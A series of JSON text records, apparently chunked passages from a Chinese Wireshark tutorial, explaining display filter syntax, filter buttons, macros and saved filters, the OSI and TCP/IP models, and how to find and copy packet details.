    {"text": "未知 5.1.2 获取显示过滤器表达式 通过上一节的介绍，可以知道在Wireshark中使用显示过滤器的方法。但是，用户可能不清楚具体的显示过滤器表达式。此时可以通过在分组详情中选择某字段，来快速获取对应的显示过滤器表达式。下面将介绍3种获取显示过滤器表达式的方法。 1.第一种方法 在分组详情中选择字段，并在菜单栏依次选择“编辑”|“复制”|“作为过滤器”命令，即可获取显示过滤器表达式。然后在显示过滤器文本框中即可粘贴已复制的显示过滤器表达式。 【实例5-3】 获取过滤HTTP主机头的显示过滤器表达式。具体操作步骤如下： （1）在分组列表中任意选择一个HTTP数据包，并在分组详情中找到Host字段，如图5.8所示。 图5.8 选择字段 （2）在分组详情中选择Host字段，并在菜单栏依次选择“编辑”|“复制”|“作为过滤器”命令。然后在显示过滤器文本框中按Ctrl+V键即可粘贴已复制的显示过滤器表达式，如图5.9所示。 （3）从显示过滤器文本框中可以看到，获取到的显示过滤器表达式为http.host==\"220.194.95.148\"。单击应用过滤器按钮 ，即可在捕获文件中应用该显示过滤器。 图5.9 获取的显示过滤器表达式 2.第二种方法 在分组详情中选择字段，并在菜单栏依次选“分析”|“作为过滤器应用”命令，将展开“作为过滤器应用”子菜单，如图5.10所示。 图5.10 “作为过滤器应用”子菜单 在其中选择“选中、非选中、与选中、或选中、与非选中、或非选中”命令，即可直接应用获取到的显示过滤器表达式。 【实例5-4】 获取并直接应用过滤HTTP主机头的显示过滤器表达式。 （1）在分组列表中任意选择一个HTTP数据包，并在分组详情中找到Host字段，如图5.11所示。 （2）在菜单栏中依次选择“分析”|“作为过滤器应用”|“选中”命令，即可直接应用该显示过滤器，如图5.12所示。 图5.11 选择字段 图5.12 应用过滤器 （3）从图5.12中可以看到，成功应用http.host==\"220.194.96.148\"显示过滤器对捕获文件进行了显示过滤。从状态栏中可以看到，有两个分组匹配应用的显示过滤器。 3.第三种方法 在分组详情中选择字段，并在菜单栏依次选“分析”|“准备过滤器”命令，将展开“准备过滤器”子菜单，如图5.13所示。 在其中选择“选中、非选中、与选中、或选中、与非选中、或非选中”命令，即可获取到显示过滤器表达式。此时，不会直接应用获取到的显示过滤器表达式，用户还可以修改之后再应用其过滤器表达式。 图5.13 “准备过滤器”子菜单 【实例5-5】 获取过滤HTTP主机头的显示过滤器表达式。 （1）在分组详情中选择Host字段，并在菜单栏依次选择“分析”|“准备过滤器”|“选中”命令，将显示如图5.14所示的界面。 图5.14 不直接应用显示过滤器 （2）从显示过滤器文本框中可以看到，获取到的显示过滤器表达式为http.host==\"220.194.96.148\"。此时，用户可以修改该过滤器或者过滤器的值，然后再应用该过滤器。例如，这里修改该过滤器的值为42.236.37.17，并应用修改后的显示过滤器，效果如图5.15所示。 图5.15 应用修改后的过滤器 （3）从图5.15中可以看到，已成功应用了修改后的过滤器。从状态栏中可以看到，只有一个分组匹配使用的是显示过滤器表达式。 4.显示过滤器提示功能 Wireshark提供了一个显示过滤器提示功能，可以查看用户使用过的显示过滤器表达式。其中，默认显示10个用过的显示过滤器。如果用户想要使用之前用过的显示过滤器时，可在下拉列表中进行选择。单击显示过滤器下拉按钮，即可看到用户使用过的显示过滤器，如图5.16所示。 图5.16 使用过的显示过滤器表达式 从下拉列表框中可以看到，默认显示了10个使用过的显示过滤器。此时选择想要使用的过滤器即可应用。 用户可以修改显示用过的显示过滤器个数。在菜单栏中依次选择“编辑”|“首选项”命令，打开“首选项”对话框，如图5.17所示。 图5.17 “首选项”对话框 从“首选项”对话框的“显示最多”部分可以看到，默认显示10个过滤器项目。用户可以通过修改该数值来设置自动提示的使用过的过滤器个数。例如，这里修改为自动提示5个使用过的显示过滤器，如图5.18所示。 图5.18 设置效果 在“首选项”对话框中将过滤器项目的值修改为5，单击OK按钮使配置生效。此时，在显示过滤器文本框下拉列表中会发现只显示了5个使用过的显示过滤器，如图5.19所示。 图5.19 设置效果"},
    {"text": "未知 1.2.1 OSI模型 OSI是Open System Interconnection的缩写，意为开放式系统互联。国际准化组织（ISO）制定了OSI模型，该模型定义了不同计算机互联的标准，是设计和描述计算机网络通信的基本框架。OSI模型把网络通信的工作分为七层，分别是物理层、数据链路层、网络层、传输层、会话层、表示层和应用层。其中，OSI协议层次结构如图1.7所示。 下面介绍OSI参考模型中每层协议的作用。 图1.7 OSI参考模型 1.物理层 物理层（Physical Layer）在局域网上传送数据帧（Data Frame），它负责管理计算机通信设备和网络媒体之间的互通规范。通常包括针脚、电压、集线器、网卡等设备需要遵循的技术规范。 2.数据链路层 数据链路层（Data Link Layer）负责网络寻址、错误侦测和纠错。当表头和表尾被加至数据包时，会形成帧。数据链表头（DLH）是包含了物理地址和错误侦测及纠错的方法。数据链路表尾（DLT）是一串指示数据包末端的字符串，如以太网、无线局域网（Wi-Fi）和通用分组无线服务（GPRS）等。数据链路层又分为两个子层，分别是逻辑链路控制子层（Logic Link Control，LLC）和介质访问控制子层（Media Access Control，MAC）。 3.网络层 网络层（Network Layer）决定数据的路径选择和转寄，将网络表头（NH）加到数据包，以形成分组。网络表头包含了网络数据，如互联网协议IP等。 4.传输层 传输层（Transport Layer）把传输表头（TH）加到数据中以形成数据包。传输表头包含了所使用的协议等发送消息，例如传输控制协议TCP等。 5.会话层 会话层（Session Layer）负责在数据传输中设置和维护计算机网络中两台计算机之间的通信连接。 6.表达层 表达层（Presentation Layer）把数据转换为能与接收者的系统格式兼容并适合传输的格式。 7.应用层 应用层（Application Layer）提供为应用软件而设的接口，以设置与另一应用软件之间的通信，如HTTP、HTTPS、FTP和Telnet等。"},
    {"text": "其中，显示过滤器工具栏中的表达式按钮如图5.20所示。 图5.20 表达式按钮 单击“表达式”按钮，弹出“显示过滤器表达式”对话框，如图5.21所示。"},
    {"text": "例如，查看TCP协议字段树，将显示如图5.22所示的界面。 图5.21 “显示过滤器表达式”对话框 图5.22 TCP协议字段树 ·关系：用来设置字段名称与值之间的关系。"},
    {"text": "其中，可以设置的关系有is present（存在）、==（等于）、!=（不等于）、>（大于）、<（小于）、>=（大于等于）、<=（小于等于）、contains（包含）、matches（匹配）和in（属于）。"},
    {"text": "在搜索文本框中输入tcp.flags关键字即可在字段名称中显示对应的字段树，如图5.23所示。 图5.23 搜索结果 （2）单击TCP协议左侧的三角按钮，展开该协议树。 然后在该协议树中找到TCP SYN标志的字段名，如图5.24所示。 （3）从图5.24中可以看到，用户选择了字段名tcp.flags.syn·Syn，并且在最底部的文本框中显示了对应的显示过滤器。 其中，该显示过滤器字段名为tcp.flags.syn。"},
    {"text": "图5.24 选择的字段名 图5.25 构建的显示过滤器 （4）从图5.25中可以看到，创建了一个表达式为tcp.flags.syn==1的显示过滤器，表示显示过滤TCP标志位为SYN的数据包。"},
    {"text": "单击OK按钮，显示如图5.26所示。 图5.26 使用的显示过滤器 （5）从显示过滤器工具栏中可以看到使用的显示过滤器。 此时，单击按钮 即可应用新建的显示过滤器，如图5.27所示。"},
    {"text": "仅显示源地址为192.168.1.10的数据包，过滤器表达式如下： ip.src == 192.168.1.10 不显示源地址为192.168.1.10的数据包，过滤器表达式如下： ip.src != 192.168.1.10 显示帧长度大于10字节的数据包，过滤器表达式如下： frame.len > 10 显示帧长度小于128字节的数据包，过滤器表达式如下： frame.len < 128 仅显示帧长度大于等于256字节的数据包，并使用十六进制格式指定该值，过滤器表达式如下： frame.len ge 0x100 仅显示帧长度小于等于20字节的数据包，并使用十六进制格式指定该值，过滤器表达式如下： frame.len <= 0x20 显示过滤SIP头包含字符串a1762的包，过滤器表达式如下： sip.To contains \" a1762\" 显示HTTP主机地址为daxueba.org、daxueba.com或daxueba.net的包，过滤器表达式如下： http.host matches \"daxueba\\.(org|com|net)\" 3.值 当用户指定一个显示过滤器表达式后，则需要指定对应的值。"},
    {"text": "·使用冒号：eth.dst==ff:ff:ff:ff:ff:ff； ·使用破折号：eth.dst==ff-ff-ff-ff-ff-ff； ·使用点号：eth.dst==ffff.ffff.ffff。"},
    {"text": "例如，指定过滤主机192.168.1.10，其语法格式为ip.addr==192.168.1.10； 过滤192.168.1.0网段，则语法格式为ip.addr==192.168.1.0/24。"},
    {"text": "例如，使用双引号方式过滤HTTP请求包括“ http://www.qq.com ”网址的包，语法格式如下： http.request.uri == \"http://www.qq.com/\" 例如，使用contains指定一个UDP头部包括三位序列0x81、0x60和0x03的包，则语法格式如下： udp contains 81:60:03 用户在使用contains关键字时也可以指定一个文本字符串，格式如下： sip.To contains \"a1762\""},
    {"text": "未知 5.1.4 使用多个显示过滤器 多个显示过滤器就是将多个单一显示过滤器表达式组合起来。在Wireshark中，通过使用逻辑运算符可以组合表达式，将多个单一过滤器组合起来。其中，最常用的逻辑运算符如表5.2所示。 表5.2 显示过滤器逻辑运算符 为了方便用户更清楚逻辑运算符的使用，下面列举几个例子。 显示过滤源地址为192.168.1.10并且TCP标志位为FIN的包，过滤器表达式如下： ip.src == 192.168.1.10 and tcp.flags.fin 显示过滤源地址为192.168.1.10或192.168.1.20的数据包，过滤器表达式如下： ip.src == 192.168.1.10 or ip.src == 192.168.1.20 不显示主机为192.168.1.10的数据包，过滤器表达式如下： ip.addr != 192.168.1.10 未知 5.1.5 高级过滤器 除了前面的一些基本过滤器外，用户还可以通过使用分片过滤符、范围过滤或内置函数来应用一些高级过滤器。下面将介绍高级过滤器的使用。 1.分片过滤 分片过滤是指从一个序列中过滤子序列。其中，使用分片过滤的符号为方括号（[]）。这里将列举几个使用分片过滤符进行过滤的几种格式。 eth.src[0:3] == 00:00:83 以上显示过滤器表示使用[n:m]格式指定了一个范围。其中，n表示偏移的开始值；m表示指定范围的长度。 eth.src[1-2] == 00:83 以上显示过滤器表示使用[n-m]格式指定了一个范围。其中，n表示偏移的起始值；m表示偏移的结束值。 eth.src[:4] == 00:00:83:00 以上显示过滤器使用了[:m]格式，表示指定一个序列的偏移值为m，该格式和[0:m]是相等的。 eth.src[4:] == 20:20 以上显示过滤器表示使用[n:]格式指定了一个序列的结束偏移值。 eth.src[2] == 83 以上显示过滤器表示使用[n]格式指定了一个范围，该格式和[n:1]格式是相等的。 用户还可以同时使用多个分片过滤范围，之间使用逗号分隔，格式如下： eth.src[0:3,1-2,:4,4:,2] == 00:00:83:00:83:00:00:83:00:20:20:83 2.范围过滤 用户在使用显示过滤器时，还可以使用in来指定一个范围过滤器。其中，该范围过滤器的值由花括号（{}）括起来。例如，过滤端口为80、443和8080的包，语法格式如下： tcp.port in {80 443 8080} 该过滤器也可以写成以下表达式： tcp.port == 80 || tcp.port == 443 || tcp.port == 8080 使用这种方法过滤时，也可以包含一个范围，格式如下： tcp.port in {443 4430..4434} 该过滤器相当于以下表达式： tcp.port == 443 || (tcp.port >= 4430 && tcp.port <= 4434) 也可以使用其他类型的过滤器。例如，过滤器HTTP请求方法为HEAD和GET的包，则过滤器表达式如下： http.request.method in {\"HEAD\" \"GET\"} 3.内置函数 在显示过滤器语言中有大量内置函数，可以用来转换一个字段。其中，可用的内置函数如表5.3所示。 表5.3 显示过滤器函数 为了方便用户更好地使用内置函数，下面将列举几个例子。 转换HTTP请求服务中包含apache的字符串并转换为小写，语法格式如下： lower(http.server) contains \"apache\" 显示过滤URI请求长度大于100的字符串，语法格式如下： len(http.request.uri) > 100 查找IP地址帧大于2次的包，语法格式如下： count(ip.addr) > 2 匹配一个异常帧的编号，语法格式如下： string(frame.number) matches \"[13579]$\" 匹配IP地址（172.16到172.31）以255结束的子网，语法格式如下： string(ip.dst) matches \"^172\\.(1[6-9]|2[0-9]|3[0-1])\\..{1,3}\\.255\" 未知 5.2 使用技巧 通过前面的介绍用户可能会发现，如果要对数据包进行更精确地过滤，则需要使用比较复杂的表达式。如果每次都这样输入，显然很麻烦。在Wireshark中，可以使用一些显示过滤器的技巧来代替一个复杂的表达式，这样用户即可快速地过滤数据包。本节将介绍一些显示过滤器的使用技巧。"},
    {"text": "未知 5.2.1 使用显示过滤器按钮 通过使用显示过滤器按钮，可以方便用户快速使用一个显示过滤器。在菜单栏中依次选择“编辑”|“首选项”|Filter Buttons命令，打开“过滤器按钮”对话框，如图5.28所示。 从“过滤器按钮”对话框中可以看到，默认没有添加任何过滤器按钮。此时，单击添加按钮 ，即可添加一个过滤器按钮。用户发现还有其他按钮，但是都是灰色的。这是由于还没有添加任何过滤器按钮，所以无法进行操作。在该对话框中包括4列，分别为Show in toolbar（显示在工具栏）、Button Label（按钮标签）、Filter Expression（过滤器表达式）和Comment（注释）。其中，Show in toolbar列用来设置是否在显示过滤器工具栏显示该过滤按钮；Button Label用来为按钮设置一个标签名，方便区分使用；Filter Expression用来指定该过滤器按钮使用的过滤器表达式；Comment用来设置过滤器按钮的注释信息。 图5.28 “过滤器按钮”对话框 提示： 当用户在“过滤器按钮”对话框中添加过滤器按钮后，通过单击底部的按钮，即可对过滤器按钮进行其他操作，如删除 、复制 、上移 、下移 和 清除所有过滤器按钮。 【实例5-7】 添加一个过滤TCP端口80数据包的显示过滤器按钮。具体操作步骤如下： （1）在菜单栏中依次选择“编辑”|“首选项”|Filter Buttons命令，打开“过滤器按钮”对话框，单击添加按钮 ，在Show in toolbar列出现一个复选框，如图5.29所示。 图5.29 添加过滤器按钮 （2）勾选Show in toolbar列的复选框，表示在过滤器工具栏显示该过滤器按钮。然后，单击其他列分别设置按钮标签、过滤器表达式和注释，如图5.30所示。 图5.30 添加的过滤器按钮 （3）单击OK按钮，即可在过滤器工具栏看到添加的过滤器按钮，如图5.31所示。 图5.31 显示过滤器按钮添加成功 （4）从显示过滤器工具栏中可以看到新添加的标签名为HTTP的显示过滤器按钮。直接单击HTTP按钮，则可应用该显示过滤器，即对捕获文件中TCP 80端口的数据包进行过滤。 通过单击过滤器工具栏中的加号按钮 也可以添加显示过滤器按钮。单击加号按钮 ，弹出一个添加过滤器按钮的工具栏，如图5.32所示。 图5.32 添加过滤器按钮工具栏 在“标签”文本框中输入过滤器按钮的标签名；在“过滤器”文本框中输入其显示过滤器的表达式；在注释文本框输入注释信息。然后单击OK按钮，即可在显示过滤器工具栏添加一个显示过滤器按钮。 【实例5-8】 快速添加一个显示过滤ARP包的过滤器按钮。具体操作步骤如下： （1）单击过滤器工具栏中的加号按钮 ，显示添加过滤器按钮工具栏，如图5.33所示。 图5.33 添加过滤器按钮工具栏 （2）在“标签”文本框中输入ARP，在“过滤器”文本框中输入显示过滤器arp，如图5.34所示。 图5.34 过滤器按钮信息 （3）单击OK按钮，即可成功添加该过滤器按钮，如图5.35所示。 图5.35 过滤器按钮添加成功 （4）从图5.35所示窗口中可以看到，成功添加了标签为ARP的过滤器按钮。 【实例5-9】 使用显示过滤器按钮ARP快速过滤数据包。具体操作步骤如下： （1）打开捕获文件，显示如图5.36所示的窗口。 图5.36 捕获文件窗口 （2）该窗口中显示了捕获文件中的所有数据包。单击过滤器按钮ARP，即可过滤所有ARP数据包，如图5.37所示。 图5.37 成功过滤数据包 （3）从图5.37中可以看到，成功显示过滤了所有ARP协议包。 未知 5.2.2 使用对话过滤器 对话过滤器可以针对特定协议类型的对话，直接使用内置的过滤器快速过滤数据包。当用户选择某个数据包后，在菜单栏依次选择“分析”|“对话过滤器”命令，即可对特定协议类型的会话进行显示过滤。在菜单栏中依次选择“分析”|“对话过滤器”命令，将展开“对话过滤器”子菜单，如图5.38所示。 图5.38 “对话过滤器”子菜单 从子菜单中可以看到可以选择的协议类型，如Ethernet、F5 TCP、F5 UDP、IPv4、TCP和UDP等。此时，选择任意协议类型，即可使用对应的内置过滤器过滤数据包。 【实例5-10】 使用对话过滤器过滤一个HTTP包所在的TCP会话数据包。具体操作步骤如下： （1）在分组列表中选择一个HTTP包，如图5.39所示。 图5.39 选择HTTP包 （2）在菜单栏中依次选择“分析”|“对话过滤器”|TCP命令，将应用对应的内置过滤器过滤数据包，如图5.40所示。 （3）从显示过滤器工具栏中可以看到应用的内置过滤器，并且成功对数据包进行了显示过滤。 图5.40 成功使用内置过滤器"},
    {"text": "未知 5.2.3 基于显示过滤器保存 当显示过滤数据包后，可以将过滤出的数据包进行保存，这样既可对这些数据包进行分析，也避免受其他无关的包所影响。在菜单栏中依次选择“文件”|“导出特定分组”命令，打开导出特定分组对话框，如图5.41所示。 图5.41 导出特定分组对话框 在其中可以指定导出特定分组的位置、文件名及保存类型。另外，用户在导出特定分组时，也可以指定包范围，如All packets（所有包）、Selected packet（选择的包）和Range（范围）。其中，这些配置项的含义在前面已经介绍过，这里不再赘述。 【实例5-11】 导出显示过滤的所有HTTP数据包。具体操作步骤如下： （1）打开捕获文件，然后使用显示过滤器http对数据包进行过滤，效果如图5.42所示。 图5.42 显示过滤包 （2）在菜单栏中依次选择“文件”|“导出特定分组”命令，打开导出特定分组对话框，如图5.43所示。 图5.43 导出特定包 （3）在“导出特定包”对话框中指定导出所有显示，“文件名”为http，导出位置为桌面，使用默认的文件类型，然后单击“保存”按钮，即可将显示过滤出的所有HTTP数据包保存为http.pcapng捕获文件。 未知 5.2.4 使用预置表达式 Wireshark不仅提供了捕获过滤器的预置表达式，也提供了显示过滤器的预置表达式。用户可以提前将复杂的显示过滤器表达式添加到显示过滤器对话框中。这样在使用的时候，只需要输入开始的几个字符，就会提示完整的表达式。在菜单栏中依次选择“分析”|“显示过滤器”命令，打开“显示过滤器”对话框，如图5.44所示。 图5.44 “显示过滤器”对话框 从该对话框中可以看到默认预置的显示过滤器表达式。其中，“名称”列指定了过滤器的名称；“过滤器”列则是使用的过滤器表达式。单击左下角的创建一个新的过滤器按钮 ，即可添加新的显示过滤器。 【实例5-12】 添加一个过滤TCP SYN标志位数据包的显示过滤器。其中，过滤器名称为TCP SYN，过滤器为tcp.flags.syn==1。 （1）在显示过滤器对话框中单击创建一个新的过滤器按钮 ，显示如图5.45所示的界面。 （2）可以看到，默认添加了一个名称为“新建显示过滤器”，语法为“ip.addr==host.example.com”的显示过滤器。双击名称和过滤器的文本框，即可修改对应的值。其中，添加的显示过滤器如图5.46所示。 图5.45 新建显示过滤器 图5.46 添加的显示过滤器 （3）单击OK按钮使配置生效。这样，当用户在使用显示过滤器时，只需要输入tcp关键字，即可自动提示可以使用的预置表达式，如图5.47所示。 图5.47 自动提示预置表达式 （4）从显示过滤器列表中可以看到提示的可以使用的预置表达式。此时，用户直接选择对应的表达式就可以了，无须再输入一个复杂的表达式。 未知 5.2.5 使用宏 宏就是将每次显示过滤器中变化的部分用变量取代，这样用户在使用显示过滤器时，指定一个宏变量就可以了，而无须输入一个复杂的表达式。在菜单栏中依次选择“分析”|“显示过滤器宏”命令，打开“显示过滤器宏”对话框，如图5.48所示。 图5.48 “显示过滤器宏”对话框 从该对话框中可以看到，默认没有添加任何显示过滤器宏。其中，Name列用来指定宏的名称；Text用来指定宏文本内容，参数值将依次使用$1、$2和$3等来取代。例如，指定IP地址显示过滤器，则可以输入ip.addr=$1。在该对话框中单击创建一个新项按钮 ，即可添加一个显示过滤器宏。 【实例5-13】 使用显示过滤器宏过滤数据包。 （1）在显示过滤器宏对话框中单击创建一个新项按钮 ，显示如图5.49所示的界面。 图5.49 创建显示过滤器宏 （2）在该对话框中分别单击Name和Text列，即可指定显示过滤器宏的名称和文本信息。例如，这里指定一个名称为tcp_conv，文本信息为ip.src==$1 and ip.dst==$2 and tcp.srcport==$3 and tcp.dstport==$4的显示过滤器宏。添加后，效果如图5.50所示。 图5.50 添加的显示过滤器宏 （3）单击OK按钮，使添加的显示过滤器宏生效。接下来用户就可以使用该宏了。当用户过滤数据包时，输入的显示过滤器类似于${tcp_conv:192.168.1.10;61.135.169.121;4444;80}。在花括号中分别指定了宏中的变量$1、$2、$3和$4代替的参数值，值之间使用分号（;）分隔。 【实例5-14】 使用前面创建的显示过滤器宏过滤数据包。具体操作步骤如下： （1）打开捕获文件，显示窗口如图5.51所示。 （2）在该窗口中显示了当前捕获文件中的所有分组。接下来在显示过滤器文本框中使用宏，输入的过滤器为${tcp_conv:192.168.1.3;220.194.95.148;21822;80}，然后单击应用过滤器按钮 ，将使用该宏过滤数据包，如图5.52所示。 图5.51 捕获文件 图5.52 过滤结果 （3）从“过滤结果”窗口中可以看到，已经成功使用指定的显示过滤器宏快速对数据包进行了过滤。 未知 第6章 分析手段 当用户对捕获的文件经过各种处理及过滤，成功获取到自己需要的数据包后，就可以对显示的数据包进行详细分析了。为了方便用户快速及更容易地分析数据包，本章将介绍Wireshark分析数据包的常用手段。"},
    {"text": "未知 1.2.2 TCP/IP协议族 TCP/IP协议族是Internet最基本的协议。它主要由传输层的TCP协议、网络层的IP协议和其他协议组成。其中，TCP协议主要负责数据传输和发现传输的问题，一有问题就发出信号，要求重新传输，直到所有数据安全、正确地传输到目的地。IP协议主要是给因特网的每一台联网设备规定一个地址。下面介绍TCP/IP协议族的层次结构及常见协议。 1.协议层次结构 从协议分层模型方面来讲，TCP/IP由四个层次组成，分别是网络接口层、网际层、传输层和应用层。所以，TCP/IP协议并不完全符合OSI的七层参考模型。TCP/IP模型使各种硬件在相同的层次上相互通信，每一层都需要由它的下一层所提供的网络来完成自己的需求。其中，TCP/IP四层模型与OSI七层模型的对应关系如图1.8所示。 下面介绍TCP/IP协议族中每层的作用。 ·网络接口层：在TCP/IP参考模型中并没有详细描述，只是指出主机必须使用某种协议与网络相连。 ·网际层：是整个体系结构的关键部分，其功能是使主机可以把分组发往任何网络，并使分组独立地传向目标。这些分组可能经由不同的网络，到达的顺序和发送的顺序也可能不同。高层如果需要顺序收发，那么就必须自行处理对分组的排序。 图1.8 TCP/IP和OSI模型的对应关系 ·传输层：使源端口和目标端口主机上的对等实体可以进行会话。在这一层定义了两个端到端的协议，分别是传输控制协议（Transmission Control Protocol，TCP）和用户数据包协议（User Datagram Protocol，UDP）。TCP是面向连接的协议，它提供可靠的报文传输和对上层应用的连接服务。为此，除了基本的数据传输外，它还有可靠性保证、流量控制、多路复用、优先权和安全性控制等功能。UDP是面向无连接的不可靠传输协议，主要用于不需要TCP的排序和流量控制等功能的应用程序。 ·应用层：包含所有的高层协议，如TELNET、FTP、SMTP和HTTP等。 2.常见协议 在TCP/IP协议族中，每一层都包含了一些相对独立的协议。其中，常见的协议如表1.1所示。 表1.1 常见协议 未知 6.1 分析分组 当用户分析分组时，可以快速查找及复制分组信息。如果用户捕获的文件较多，可以通过显示过滤器、字符串或表达式等方式，快速查找匹配的分组信息。如果用户需要某个字段值时，则可以通过复制的功能来获取其信息。本节将介绍分析分组的技巧。 未知 6.1.1 查找信息 Wireshark提供了一个查找分组的功能，可以快速跳转到包含指定内容的数据包。在菜单栏中依次选择“编辑”|“查找分组”命令，弹出一个查找分组的工具栏，如图6.1所示。 图6.1 查找分组工具栏 在该工具栏中，默认的值依次为分组列表、宽窄和显示过滤器。在“显示过滤器”下拉列表框中可选择查找的条件。其中，可以使用的查找分组条件包括显示过滤器、十六进制、字符串和正则表达式这4种方式。每种查找方式的含义如下： ·显示过滤器：通过使用显示过滤器快速查找分组。 ·十六进制：通过使用十六进制值快速查找分组。 ·字符串：通过使用字符串形式快速查找分组。 ·正则表达式：通过使用一个正则表达式，快速查找分组。 当用户选择使用字符串和正则表达式查找分组时，单击第一列的分组列表，在下拉列表框中可以选择查找的位置，如分组列表、分组详情和分组字节流。当用户使用字符串查找分组时，还可以设置宽窄（字符编码方式）。单击第二列的宽窄列表，在下拉列表框中可以选择宽窄、窄（UTF-8/ASCII）和宽（UTF-16）。当设置好查找条件后，单击“查找”按钮，即可快速跳转到查找到的分组。 【实例6-1】 使用十六进制值1c6f65c84c89，快速查找包含该十六进制内容的分组。具体操作步骤如下： （1）打开分析的捕获文件，显示如图6.2所示的窗口。 图6.2 捕获文件 （2）在该窗口中显示了当前捕获文件中的所有分组。在菜单栏中依次选择“编辑”|“查找分组”命令，弹出查找分组工具栏，如图6.3所示。 图6.3 查找分组 （3）在该工具栏中选择“显示过滤器”下拉列表框中的“十六进制值”，然后在对应的文本框中输入查找的十六进制字符串1c6f65c84c89并单击“查找”按钮，将自动跳转到匹配查找的分组，如图6.4所示。 图6.4 查找分组结果 （4）可以看到，自动跳转到分组86，并在分组详情中高亮显示该分组匹配的十六进制值（1c:6f:65:c8:4c:89）。从分组详情中可以看到，该分组的源MAC地址为1c:6f:65:c8:4c:89。再次单击“查找”按钮，将跳转到下一个匹配的分组。 通过选择“编辑”|“查找下一个”命令或选择“编辑”|“查找上一个”命令，也可快速查找下一个或上一个匹配的分组。当选择“查找下一个”命令或“查找上一个命令”后，也会弹出查找工具栏，如图6.1所示。"},
    {"text": "用户通过选择分组或分组详情，展开不同的复制菜单，可以复制不同的信息。 下面分别介绍选择分组或分组详情后，可以复制的信息。 1.选择分组 在分组列表中选择分组，然后在菜单栏依次选择“编辑”|“复制”命令，将展开如图6.5所示的子菜单。 图6.5 菜单栏 从“复制”子菜单中可以看到，只有“所有可见项目”命令高亮，可以进行复制，其他选项都是灰色。 当用户在分组详情中选择包信息或字段时，这些项即可选择复制。 【实例6-2】 复制分组3的所有可见项目。"},
    {"text": "在捕获文件的分组列表中选择分组3，并在菜单栏依次选择“编辑”|“复制”|“所有可见项目”命令，即可复制该分组中的所有协议层信息，具体如下： Frame 3: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0 Ethernet II, Src: Skyworth_53:e0:35 (70:85:40:53:e0:35), Dst: Giga-Byt_ c8:4c:89 (1c:6f:65:c8:4c:89) Internet Protocol Version 4, Src: 111.206.58.11, Dst: 192.168.1.3 Transmission Control Protocol, Src Port: 80, Dst Port: 1752, Seq: 1, Ack: 1, Len: 0 以上是第三个分组的包详细信息。 从中可以看到，该分组包括Ethernet II、Internet Protocol Version 4和Transmission Control Protocol三层协议，但是并没有复制到每个协议层的详细信息。"},
    {"text": "图6.6 展开子树 此时，在菜单栏中依次选择“编辑”|“复制”|“所有可见项目”命令，复制到的分组信息如下： Frame 3: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0 Ethernet II, Src: Skyworth_53:e0:35 (70:85:40:53:e0:35), Dst: Giga-Byt_ c8:4c:89 (1c:6f:65:c8:4c:89) Internet Protocol Version 4, Src: 111.206.58.11, Dst: 192.168.1.3 Transmission Control Protocol, Src Port: 80, Dst Port: 1752, Seq: 1, Ack: 1, Len: 0 Source Port: 80 Destination Port: 1752 [Stream index: 1] [TCP Segment Len: 0] Sequence number: 1 (relative sequence number) [Next sequence number: 1 (relative sequence number)] Acknowledgment number: 1 (relative ack number) 0101 .... = Header Length: 20 bytes (5) Flags: 0x010 (ACK) 000. .... .... = Reserved: Not set ...0 .... .... = Nonce: Not set .... 0... .... = Congestion Window Reduced (CWR): Not set .... .0.. .... = ECN-Echo: Not set .... ..0. .... = Urgent: Not set .... ...1 .... = Acknowledgment: Set .... .... 0... = Push: Not set .... .... .0.. = Reset: Not set .... .... ..0. = Syn: Not set .... .... ...0 = Fin: Not set [TCP Flags: ·······A····] Window size value: 232 [Calculated window size: 232] [Window size scaling factor: -1 (unknown)] Checksum: 0x69e1 [unverified] [Checksum Status: Unverified] Urgent pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 0.000000000 seconds] [Time since previous frame in this TCP stream: 0.000000000 seconds] 从以上信息可以看到，复制到了所有可见项目，而且显示了子树TCP协议层的详细信息。"},
    {"text": "图6.7 “复制”子菜单 【实例6-3】 复制分组3的摘要为文本。 在分组列表中右击分组3，并依次选择“分组”|“摘要为文本”命令，即可复制对应的信息。"},
    {"text": "其信息如下： 3 0.104587 111.206.58.11 192.168.1.3 TCP 60 80 → 1752 [ACK] Seq=1 Ack=1 Win=232 Len=0 从以上显示的信息可以看到，成功分组了分组3的摘要文本信息。"},
    {"text": "其信息如下： \"\\x1c\\x6f\\x65\\xc8\\x4c\\x89\\x70\\x85\\x40\\x53\\xe0\\x35\\x08\\x00\\x45\\x00\" \\ \"\\x00\\x28\\x91\\x26\\x40\\x00\\x36\\x06\\x48\\x25\\x6f\\xce\\x3a\\x0b\\xc0\\xa8\" \\ \"\\x01\\x03\\x00\\x50\\x06\\xd8\\x53\\xfa\\xbc\\xc4\\xd9\\x07\\xe8\\x97\\x50\\x10\" \\ \"\\x00\\xe8\\x69\\xe1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" 从以上信息中可以看到，已成功复制包信息为转义字符串格式。"},
    {"text": "图6.8 “复制”命令子菜单 从子菜单中可以看到，用户可以选择复制的选项有：所有可见项目、选中树的所有可见项目、描述、字段名称、值和作为过滤器。"},
    {"text": "其中，每个选项的含义如下： ·所有可见项目：复制分组详情中的所有协议层信息。 ·选中树的所有可见项目：复制分组详情中选择的字段信息。 ·描述：复制分组详情中选择的协议层描述信息。 ·字段名称：复制分组详情中选择的分组字段名称。 ·值：复制分组详情中字段的值。 ·作为过滤器：分组详情中的字段为过滤器。"},
    {"text": "图6.9 选择要复制的字段 （2）在菜单栏中依次选择“编辑”|“复制”|“字段名称”命令，即可复制对应的字段名称用于作为显示过滤器表达式。"},
    {"text": "首先还需要单击字段，然后在菜单栏依次选择“编辑”|“复制”|“值”命令，即可复制该字段对应的值，结果如下： 80 从显示的结果可以看到，成功复制到字段Source Port的值为80。"},
